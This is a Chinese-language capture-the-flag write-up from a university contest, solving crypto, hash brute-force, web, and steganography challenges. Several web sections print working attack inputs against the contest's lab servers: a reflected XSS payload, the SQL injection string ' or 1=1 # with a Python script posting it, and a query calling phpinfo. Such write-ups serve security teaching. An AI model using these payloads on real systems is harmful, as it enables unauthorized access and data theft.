2020-10-31

厦门大学奇安信杯 CTF 校赛 Writeup

0x01 Crypto_base64

根据所给的加密代码编写对应的解密代码decode3decode2decode1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import base64

def encode3(code):
    return base64.b32encode(code)

def decode3(code):
    return base64.b32decode(code)

def encode2(code):
    res = ''
    for i in code:
        x = ord(i) + 31
        x = x ^ 31
        res += chr(x)
    return res

def decode2(code):
    res = ''
    for i in code:
        x = i ^ 31
        x -= 31
        res += chr(x)
    return res

def encode1(code):
    res = ''
    for i in code:
        x = i ^ 31
        x = x + 24
        res += chr(x)
    return res

def decode1(code):
    res = ''
    for i in code:
        x = ord(i) - 24
        x = x ^ 31
        res += chr(x)
    return res

print(decode1(decode2(decode3('V622VMEEVWVEC7FMPV7265VLPN7X25T5V2XKW5VLVZBKY5TZPN4UA7CBIKX2U6NKVODA===='))))
运行后,根据所给代码的加密后的内容作为输入,得到 flag:

1
flag{da83c46f-b264-4eeb-be9c-0207389fa0ab}

0x02 easy_Hash

根据所给的哈希文本长度,可知是SHA-1算法,因此编写如下程序爆破:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import hashlib

dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-/"
passwd = '*ha*i*_go*d'
sha = '2aa90dc*46aa5d0*baedc4a*13e4c0a6*91bf6*2'

for c1 in dic:
    for c2 in dic:
        for c3 in dic:
            for c4 in dic:
                passwd = c1 + 'ha' + c2 + 'i' + c3 + '_go' + c4 + 'd'
                sha_ = hashlib.sha1(passwd.encode('ascii')).hexdigest()
                if sha[:7] == sha_[:7]:
                    print(sha_)
                    print(passwd)

爆破程序很快输出:

1
sha1is_good

检验后,其哈希值和所给吻合,因此 flag 为

1
flag{sha1is_good}

0x03 easy_web1

XSS。根据源代码可知,如果触发 alert 事件,会跳转到p098sjw8.php页面,然而直接访问p098sjw8.php并不能获得 Flag,因为我们的请求带有Referer字段。必须成功触发xss.php页面的 XSS 的 Payload 的Referer才可以获得 flag,因此根据提示输入:

1
http://210.34.0.245:38801/xss.php?name=<script>alert(1)</script>

即可获得 flag:

1
flag{ko0b5red-sno7-9w44-b578-3dg1sadwbt11}

> 注:这道题出的很不友好,之前输入的时候多了一个分号alert(1);,导致虽然成功触发 XSS,但是一直没有通过。之后的一道 Web XSS 题也是如此。

0x04 easy_sql_web3

SQL 注入。尝试使 SQL 语句条件为真:

1
' or 1=1 #

直接获得如下内容

1
2
Username: admin Hash: 97ba669af0995323ac044a5d4568766c
Username: 1dkaia Hash: KEY{3er5p6db152bf9bbf408d3b15fadbed9}

故 flag 为

1
KEY{3er5p6db152bf9bbf408d3b15fadbed9}

0x05 easy_web5

源代码泄露。根据不断地尝试,发现下述文件的源代码泄露:

http://210.34.0.245:38805/www.tar

下载后解压:

1
2
tar -xvf www.tar
cat flag

即可获得 flag:

1
flag{nhtn4ys4-uaab-x8k1-dt8h-2i542ou1l9f4}

0x06 web4

还是 SQL 注入。

一开始看到密码为 5 位,尝试各种暴力破解,未果。之后考虑 SQL 注入。由于输入长度限制只在前端,因此可以直接编写脚本绕过限制:

1
2
3
4
5
import requests

res = requests.post("http://210.34.0.245:38804/",
                    data={'user': 'admin', 'pass': "' or 1=1#"})
print(res.text)

这里还是使用了和 easy_sql_web3 同样的简单的注入 Payload:' or 1=1 #,直接获得 flag:

1
flag{9xmd51ak-ruya-t76t-o0up-hpged8dy9fz2}

0x07 php web6

源码泄露。发现 Robots.txt:http://210.34.0.245:38806/robots.txt ,内容为

1
2
User-agent: *
Disallow: /index.php1

因此进入 http://210.34.0.245:38806/index.php1 ,发现主页源代码。根据源代码,需要构造一个可执行的不带参数的 PHP 函数,因此自然想到phpinfo

1
http://210.34.0.245:38806/?ctf=phpinfo

进入 phpinfo 界面,全文搜索KEY,发现 flag:

1
KEY{fa0qf8qf7qg6}

0x08 magical F5

根据题意可知,为 F5 隐写。

使用 F5-steganography 隐写工具,经过尝试后,猜测密码为 123456,因此通过

1
2
3
cd F5-steganography
java Extract ../2.webp -p 123456
cat output.txt

output.txt文件中即可获得 flag:

1
flag{a8b2cad0-0786-4a96-ae1a-1d60e3d2cf5e}

0x09 签到题

打开 txt 文件,猜测为十六进制密码,十六进制转字符串,获得 flag:

1
恭喜这位同学拿到了 flag,成功入门:flag{9kbe2yx5-t1v5-rry5-psqa-ij0vo5fm0ymf}